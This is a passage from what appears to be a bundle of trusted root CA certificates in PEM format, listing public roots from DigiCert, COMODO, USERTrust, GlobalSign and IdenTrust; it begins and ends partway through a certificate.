AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUxhfQvKjqAkPyGwaZXSuQILnXnOQwDQYJKoZI
hvcNAQELBQADggIBADRh2Va1EodVTd2jNTFGu6QHcrxfYWLopfsLN7E8trP6KZ1/AvWkyaiTt3px
KGmPc+FSkNrVvjrlt3ZqVoAh313m6Tqe5T72omnHKgqwGEfcIHB9UqM+WXzBusnIFUBhynLWcKzS
t/Ac5IYp8M7vaGPQtSCKFWGafoaYtMnCdvvMujAWzKNhxnQT5WvvoxXqA/4Ti2Tk08HS6IT7SdEQ
TXlm66r99I0xHnAUrdzeZxNMgRVhvLfZkXdxGYFgu/BYpbWcC/ePIlUnwEsBbTuZDdQdm2NnL9Du
DcpmvJRPpq3t/O5jrFc/ZSXPsoaP0Aj/uHYUbt7lJ+yreLVTubY/6CD50qi+YUbKh4yE8/nxoGib
Ih6BJpsQBJFxwAYf3KDTuVan45gtf4Od34wrnDKOMpTwATwiKp9Dwi7DmDkHOHv8XgBCH/MyJnmD
hPbl8MFREsALHgQjDFSlTC9JxUrRtm5gDWv8a4uFJGS3iQ6rJUdbPM9+Sb3H6QrG2vd+DhcI00iX
0HGS8A85PjRqHH3Y8iKuu2n0M7SmSFXRDw4m6Oy2Cy2nhTXN/VnIn9HNPlopNLk9hM6xZdRZkZFW
dSHBd575euFgndOtBBj0fOtek49TSiIp+EgrPk2GrFt/ywaZWWDYWGWVjUTR939+J399roD1B0y2
PpxxVJkES/1Y+Zj0
-----END CERTIFICATE-----

DigiCert Assured ID Root G2
===========================
-----BEGIN CERTIFICATE-----
MIIDljCCAn6gAwIBAgIQC5McOtY5Z+pnI7/Dr5r0SzANBgkqhkiG9w0BAQsFADBlMQswCQYDVQQG
EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSQw
IgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzIwHhcNMTMwODAxMTIwMDAwWhcNMzgw
MTE1MTIwMDAwWjBlMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQL
ExB3d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzIw
ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDZ5ygvUj82ckmIkzTz+GoeMVSAn61UQbVH
35ao1K+ALbkKz3X9iaV9JPrjIgwrvJUXCzO/GU1BBpAAvQxNEP4HteccbiJVMWWXvdMX0h5i89vq
bFCMP4QMls+3ywPgym2hFEwbid3tALBSfK+RbLE4E9HpEgjAALAcKxHad3A2m67OeYfcgnDmCXRw
VWmvo2ifv922ebPynXApVfSr/5Vh88lAbx3RvpO704gqu52/clpWcTs/1PPRCv4o76Pu2ZmvA9OP
YLfykqGxvYmJHzDNw6YuYjOuFgJ3RFrngQo8p0Quebg/BLxcoIfhG69Rjs3sLPr4/m3wOnyqi+Rn
lTGNAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBTO
w0q5mVXyuNtgv6l+vVa1lzan1jANBgkqhkiG9w0BAQsFAAOCAQEAyqVVjOPIQW5pJ6d1Ee88hjZv
0p3GeDgdaZaikmkuOGybfQTUiaWxMTeKySHMq2zNixya1r9I0jJmwYrA8y8678Dj1JGG0VDjA9tz
d29KOVPt3ibHtX2vK0LRdWLjSisCx1BL4GnilmwORGYQRI+tBev4eaymG+g3NJ1TyWGqolKvSnAW
hsI6yLETcDbYz+70CjTVW0z9B5yiutkBclzzTcHdDrEcDcRjvq30FPuJ7KJBDkzMyFdA0G4Dqs0M
jomZmWzwPDCvON9vvKO+KSAnq3T/EyJ43pdSVR6DtVQgA+6uwE9W3jfMw3+qBCe703e4YtsXfJwo
IhNzbM8m9Yop5w==
-----END CERTIFICATE-----

DigiCert Assured ID Root G3
===========================
-----BEGIN CERTIFICATE-----
MIICRjCCAc2gAwIBAgIQC6Fa+h3foLVJRK/NJKBs7DAKBggqhkjOPQQDAzBlMQswCQYDVQQGEwJV
UzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSQwIgYD
VQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzMwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1
MTIwMDAwWjBlMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzMwdjAQ
BgcqhkjOPQIBBgUrgQQAIgNiAAQZ57ysRGXtzbg/WPuNsVepRC0FFfLvC/8QdJ+1YlJfZn4f5dwb
RXkLzMZTCp2NXQLZqVneAlr2lSoOjThKiknGvMYDOAdfVdp+CW7if17QRSAPWXYQ1qAk8C3eNvJs
KTmjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBTL0L2p4ZgF
UaFNN6KDec6NHSrkhDAKBggqhkjOPQQDAwNnADBkAjAlpIFFAmsSS3V0T8gj43DydXLefInwz5Fy
YZ5eEJJZVrmDxxDnOOlYJjZ91eQ0hjkCMHw2U/Aw5WJjOpnitqM7mzT6HtoQknFekROn3aRukswy
1vUhZscv6pZjamVFkpUBtA==
-----END CERTIFICATE-----

DigiCert Global Root G2
=======================
-----BEGIN CERTIFICATE-----
MIIDjjCCAnagAwIBAgIQAzrx5qcRqaC7KGSxHQn65TANBgkqhkiG9w0BAQsFADBhMQswCQYDVQQG
EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAw
HgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBHMjAeFw0xMzA4MDExMjAwMDBaFw0zODAxMTUx
MjAwMDBaMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3
dy5kaWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IEcyMIIBIjANBgkq
hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuzfNNNx7a8myaJCtSnX/RrohCgiN9RlUyfuI2/Ou8jqJ
kTx65qsGGmvPrC3oXgkkRLpimn7Wo6h+4FR1IAWsULecYxpsMNzaHxmx1x7e/dfgy5SDN67sH0NO
3Xss0r0upS/kqbitOtSZpLYl6ZtrAGCSYP9PIUkY92eQq2EGnI/yuum06ZIya7XzV+hdG82MHauV
BJVJ8zUtluNJbd134/tJS7SsVQepj5WztCO7TG1F8PapspUwtP1MVYwnSlcUfIKdzXOS0xZKBgyM
UNGPHgm+F6HmIcr9g+UQvIOlCsRnKPZzFBQ9RnbDhxSJITRNrw9FDKZJobq7nMWxM4MphQIDAQAB
o0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUTiJUIBiV5uNu
5g/6+rkS7QYXjzkwDQYJKoZIhvcNAQELBQADggEBAGBnKJRvDkhj6zHd6mcY1Yl9PMWLSn/pvtsr
F9+wX3N3KjITOYFnQoQj8kVnNeyIv/iPsGEMNKSuIEyExtv4NeF22d+mQrvHRAiGfzZ0JFrabA0U
WTW98kndth/Jsw1HKj2ZL7tcu7XUIOGZX1NGFdtom/DzMNU+MeKNhJ7jitralj41E6Vf8PlwUHBH
QRFXGU7Aj64GxJUTFy8bJZ918rGOmaFvE7FBcf6IKshPECBV1/MUReXgRPTqh5Uykw7+U0b6LJ3/
iyK5S9kJRaTepLiaWN0bfVKfjllDiIGknibVb63dDcY3fe0Dkhvld1927jyNxF1WW6LZZm6zNTfl
MrY=
-----END CERTIFICATE-----

DigiCert Global Root G3
=======================
-----BEGIN CERTIFICATE-----
MIICPzCCAcWgAwIBAgIQBVVWvPJepDU1w6QP1atFcjAKBggqhkjOPQQDAzBhMQswCQYDVQQGEwJV
UzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAwHgYD
VQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBHMzAeFw0xMzA4MDExMjAwMDBaFw0zODAxMTUxMjAw
MDBaMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5k
aWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IEczMHYwEAYHKoZIzj0C
AQYFK4EEACIDYgAE3afZu4q4C/sLfyHS8L6+c/MzXRq8NOrexpu80JX28MzQC7phW1FGfp4tn+6O
YwwX7Adw9c+ELkCDnOg/QW07rdOkFFk2eJ0DQ+4QE2xy3q6Ip6FrtUPOZ9wj/wMco+I+o0IwQDAP
BgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUs9tIpPmhxdiuNkHMEWNp
Yim8S8YwCgYIKoZIzj0EAwMDaAAwZQIxAK288mw/EkrRLTnDCgmXc/SINoyIJ7vmiI1Qhadj+Z4y
3maTD/HMsQmP3Wyr+mt/oAIwOWZbwmSNuJ5Q3KjVSaLtx9zRSX8XAbjIho9OjIgrqJqpisXRAL34
VOKa5Vt8sycX
-----END CERTIFICATE-----

DigiCert Trusted Root G4
========================
-----BEGIN CERTIFICATE-----
MIIFkDCCA3igAwIBAgIQBZsbV56OITLiOQe9p3d1XDANBgkqhkiG9w0BAQwFADBiMQswCQYDVQQG
EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSEw
HwYDVQQDExhEaWdpQ2VydCBUcnVzdGVkIFJvb3QgRzQwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1
MTIwMDAwWjBiMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
d3cuZGlnaWNlcnQuY29tMSEwHwYDVQQDExhEaWdpQ2VydCBUcnVzdGVkIFJvb3QgRzQwggIiMA0G
CSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC/5pBzaN675F1KPDAiMGkz7MKnJS7JIT3yithZwuEp
pz1Yq3aaza57G4QNxDAf8xukOBbrVsaXbR2rsnnyyhHS5F/WBTxSD1Ifxp4VpX6+n6lXFllVcq9o
k3DCsrp1mWpzMpTREEQQLt+C8weE5nQ7bXHiLQwb7iDVySAdYyktzuxeTsiT+CFhmzTrBcZe7Fsa
vOvJz82sNEBfsXpm7nfISKhmV1efVFiODCu3T6cw2Vbuyntd463JT17lNecxy9qTXtyOj4DatpGY
QJB5w3jHtrHEtWoYOAMQjdjUN6QuBX2I9YI+EJFwq1WCQTLX2wRzKm6RAXwhTNS8rhsDdV14Ztk6
MUSaM0C/CNdaSaTC5qmgZ92kJ7yhTzm1EVgX9yRcRo9k98FpiHaYdj1ZXUJ2h4mXaXpI8OCiEhtm
mnTK3kse5w5jrubU75KSOp493ADkRSWJtppEGSt+wJS00mFt6zPZxd9LBADMfRyVw4/3IbKyEbe7
f/LVjHAsQWCqsWMYRJUadmJ+9oCw++hkpjPRiQfhvbfmQ6QYuKZ3AeEPlAwhHbJUKSWJbOUOUlFH
dL4mrLZBdd56rF+NP8m800ERElvlEFDrMcXKchYiCd98THU/Y+whX8QgUWtvsauGi0/C1kVfnSD8
oR7FwI+isX4KJpn15GkvmB0t9dmpsh3lGwIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1Ud
DwEB/wQEAwIBhjAdBgNVHQ4EFgQU7NfjgtJxXWRM3y5nP+e6mK4cD08wDQYJKoZIhvcNAQEMBQAD
ggIBALth2X2pbL4XxJEbw6GiAI3jZGgPVs93rnD5/ZpKmbnJeFwMDF/k5hQpVgs2SV1EY+CtnJYY
ZhsjDT156W1r1lT40jzBQ0CuHVD1UvyQO7uYmWlrx8GnqGikJ9yd+SeuMIW59mdNOj6PWTkiU0Tr
yF0Dyu1Qen1iIQqAyHNm0aAFYF/opbSnr6j3bTWcfFqK1qI4mfN4i/RN0iAL3gTujJtHgXINwBQy
7zBZLq7gcfJW5GqXb5JQbZaNaHqasjYUegbyJLkJEVDXCLG4iXqEI2FCKeWjzaIgQdfRnGTZ6iah
ixTXTBmyUEFxPT9NcCOGDErcgdLMMpSEDQgJlxxPwO5rIHQw0uA5NBCFIRUBCOhVMt5xSdkoF1BN
5r5N0XWs0Mr7QbhDparTwwVETyw2m+L64kW4I1NsBm9nVX9GtUw/bihaeSbSpKhil9Ie4u1Ki7wb
/UdKDd9nZn6yW0HQO+T0O/QEY+nvwlQAUaCKKsnOeMzV6ocEGLPOr0mIr/OSmbaz5mEP0oUA51Aa
5BuVnRmhuZyxm7EAHu/QD09CbMkKvO5D+jpxpchNJqU1/YldvIViHTLSoCtU7ZpXwdv6EM8Zt4tK
G48BtieVU+i2iW1bvGjUI+iLUaJW+fCmgKDWHrO8Dw9TdSmq6hN35N6MgSGtBxBHEa2HPQfRdbzP
82Z+
-----END CERTIFICATE-----

COMODO RSA Certification Authority
==================================
-----BEGIN CERTIFICATE-----
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
LaZRfyHBNVOFBkpdn627G190
-----END CERTIFICATE-----

USERTrust RSA Certification Authority
=====================================
-----BEGIN CERTIFICATE-----
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
Q+6IHdfGjjxDah2nGN59PRbxYvnKkKj9
-----END CERTIFICATE-----

USERTrust ECC Certification Authority
=====================================
-----BEGIN CERTIFICATE-----
MIICjzCCAhWgAwIBAgIQXIuZxVqUxdJxVt7NiYDMJjAKBggqhkjOPQQDAzCBiDELMAkGA1UEBhMC
VVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNleSBDaXR5MR4wHAYDVQQKExVU
aGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMTJVVTRVJUcnVzdCBFQ0MgQ2VydGlmaWNhdGlv
biBBdXRob3JpdHkwHhcNMTAwMjAxMDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBiDELMAkGA1UEBhMC
VVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNleSBDaXR5MR4wHAYDVQQKExVU
aGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMTJVVTRVJUcnVzdCBFQ0MgQ2VydGlmaWNhdGlv
biBBdXRob3JpdHkwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQarFRaqfloI+d61SRvU8Za2EurxtW2
0eZzca7dnNYMYf3boIkDuAUU7FfO7l0/4iGzzvfUinngo4N+LZfQYcTxmdwlkWOrfzCjtHDix6Ez
nPO/LlxTsV+zfTJ/ijTjeXmjQjBAMB0GA1UdDgQWBBQ64QmG1M8ZwpZ2dEl23OA1xmNjmjAOBgNV
HQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNoADBlAjA2Z6EWCNzklwBB
HU6+4WMBzzuqQhFkoJ2UOQIReVx7Hfpkue4WQrO/isIJxOzksU0CMQDpKmFHjFJKS04YcPbWRNZu
9YO6bVi9JNlWSOrvxKJGgYhqOkbRqZtNyWHa0V1Xahg=
-----END CERTIFICATE-----

GlobalSign ECC Root CA - R5
===========================
-----BEGIN CERTIFICATE-----
MIICHjCCAaSgAwIBAgIRYFlJ4CYuu1X5CneKcflK2GwwCgYIKoZIzj0EAwMwUDEkMCIGA1UECxMb
R2xvYmFsU2lnbiBFQ0MgUm9vdCBDQSAtIFI1MRMwEQYDVQQKEwpHbG9iYWxTaWduMRMwEQYDVQQD
EwpHbG9iYWxTaWduMB4XDTEyMTExMzAwMDAwMFoXDTM4MDExOTAzMTQwN1owUDEkMCIGA1UECxMb
R2xvYmFsU2lnbiBFQ0MgUm9vdCBDQSAtIFI1MRMwEQYDVQQKEwpHbG9iYWxTaWduMRMwEQYDVQQD
EwpHbG9iYWxTaWduMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAER0UOlvt9Xb/pOdEh+J8LttV7HpI6
SFkc8GIxLcB6KP4ap1yztsyX50XUWPrRd21DosCHZTQKH3rd6zwzocWdTaRvQZU4f8kehOvRnkmS
h5SHDDqFSmafnVmTTZdhBoZKo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAd
BgNVHQ4EFgQUPeYpSJvqB8ohREom3m7e0oPQn1kwCgYIKoZIzj0EAwMDaAAwZQIxAOVpEslu28Yx
uglB4Zf4+/2a4n0Sye18ZNPLBSWLVtmg515dTguDnFt2KaAJJiFqYgIwcdK1j1zqO+F4CYWodZI7
yFz9SO8NdCKoCOJuxUnOxwy8p2Fp8fc74SrL+SvzZpA3
-----END CERTIFICATE-----

IdenTrust Commercial Root CA 1
==============================
-----BEGIN CERTIFICATE-----
MIIFYDCCA0igAwIBAgIQCgFCgAAAAUUjyES1AAAAAjANBgkqhkiG9w0BAQsFADBKMQswCQYDVQQG
EwJVUzESMBAGA1UEChMJSWRlblRydXN0MScwJQYDVQQDEx5JZGVuVHJ1c3QgQ29tbWVyY2lhbCBS
b290IENBIDEwHhcNMTQwMTE2MTgxMjIzWhcNMzQwMTE2MTgxMjIzWjBKMQswCQYDVQQGEwJVUzES
MBAGA1UEChMJSWRlblRydXN0MScwJQYDVQQDEx5JZGVuVHJ1c3QgQ29tbWVyY2lhbCBSb290IENB
IDEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCnUBneP5k91DNG8W9RYYKyqU+PZ4ld
hNlT3Qwo2dfw/66VQ3KZ+bVdfIrBQuExUHTRgQ18zZshq0PirK1ehm7zCYofWjK9ouuU+ehcCuz/
mNKvcbO0U59Oh++SvL3sTzIwiEsXXlfEU8L2ApeN2WIrvyQfYo3fw7gpS0l4PJNgiCL8mdo2yMKi
1CxUAGc1bnO/AljwpN3lsKImesrgNqUZFvX9t++uP0D1bVoE/c40yiTcdCMbXTMTEl3EASX2MN0C
XZ/g1Ue9tOsbobtJSdifWwLziuQkkORiT0/Br4sOdBeo0XKIanoBScy0RnnGF7HamB4HWfp1IYVl
3ZBWzvurpWCdxJ35UrCLvYf5jysjCiN2O/cz4ckA82n5S6LgTrx+kzmEB/dEcH7+B1rlsazRGMzy
NeVJSQjKVsk9+w8YfYs7wRPCTY/JTw436R+hDmrfYi7LNQZReSzIJTj0+kuniVyc0uMNOYZKdHzV
WYfCP04MXFL0PfdSgvHqo6z9STQaKPNBiDoT7uje/5kdX7rL6B7yuVBgwDHTc+XvvqDtMwt0viAg
xGds8AgDelWAf0ZOlqf0Hj7h9tgJ4TNkK2PXMl6f+cB7D3hvl7yTmvmcEpB4eoCHFddydJxVdHix
uuFucAS6T6C6aMN7/zHwcz09lCqxC0EOoP5NiGVreTO01wIDAQABo0IwQDAOBgNVHQ8BAf8EBAMC
AQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU7UQZwNPwBovupHu+QucmVMiONnYwDQYJKoZI
hvcNAQELBQADggIBAA2ukDL2pkt8RHYZYR4nKM1eVO8lvOMIkPkp165oCOGUAFjvLi5+U1KMtlwH
6oi6mYtQlNeCgN9hCQCTrQ0U5s7B8jeUeLBfnLOic7iPBZM4zY0+sLj7wM+x8uwtLRvM7Kqas6pg
ghstO8OEPVeKlh6cdbjTMM1gCIOQ045U8U1mwF10A0Cj7oV+wh93nAbowacYXVKV7cndJZ5t+qnt
ozo00Fl72u1Q8zW/7esUTTHHYPTa8Yec4kjixsU3+wYQ+nVZZjFHKdp2mhzpgq7vmrlR94gjmmmV
YjzlVYA211QC//G5Xc7UI2/YRYRKW2XviQzdFKcgyxilJbQN+QHwotL0AMh0jqEqSI5l2xPE4iUX
feu+h1sXIFRRk0pTAwvsXcoz7WL9RccvW9xYoIA55vrX/hMUpu09lEpCdNTDd1lzzY9GvlU47/ro
kTLql1gEIt44w8y8bckzOmoKaT+gyOpyj4xjhiO9bTyWnpXgSUyqorkqG5w2gXjtw+hG4iZZRHUe
2XWJUc0QhJ1hYMtd+ZciTY6Y5uN/9lu7rs3KSoFrXgvzUeF0K+l+J6fZmUlO+KWA2yUPHGNiiskz
Z2s8EIPGrd6ozRaOjfAHN3Gf8qv8QfXBi+wAN10J5U6A7/qxXDgGpRtK4dw4LTzcqx+QGtVKnO7R
cGzM7vRX+Bi6hG6H
-----END CERTIFICATE-----

IdenTrust Public Sector Root CA 1
=================================
-----BEGIN CERTIFICATE-----
MIIFZjCCA06gAwIBAgIQCgFCgAAAAUUjz0Z8AAAAAjANBgkqhkiG9w0BAQsFADBNMQswCQYDVQQG
EwJVUzESMBAGA1UEChMJSWRlblRydXN0MSowKAYDVQQDEyFJZGVuVHJ1c3QgUHVibGljIFNlY3Rv
ciBSb290IENBIDEwHhcNMTQwMTE2MTc1MzMyWhcNMzQwMTE2MTc1MzMyWjBNMQswCQYDVQQGEwJV
UzESMBAGA1UEChMJSWRlblRydXN0MSowKAYDVQQDEyFJZGVuVHJ1c3QgUHVibGljIFNlY3RvciBS
b290IENBIDEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC2IpT8pEiv6EdrCvsnduTy
P4o7ekosMSqMjbCpwzFrqHd2hCa2rIFCDQjrVVi7evi8ZX3yoG2LqEfpYnYeEe4IFNGyRBb06tD6
Hi9e28tzQa68ALBKK0CyrOE7S8ItneShm+waOh7wCLPQ5CQ1B5+ctMlSbdsHyo+1W/CD80/HLaXI
rcuVIKQxKFdYWuSNG5qrng0M8gozOSI5Cpcu81N3uURF/YTLNiCBWS2ab21ISGHKTN9T0a9SvESf
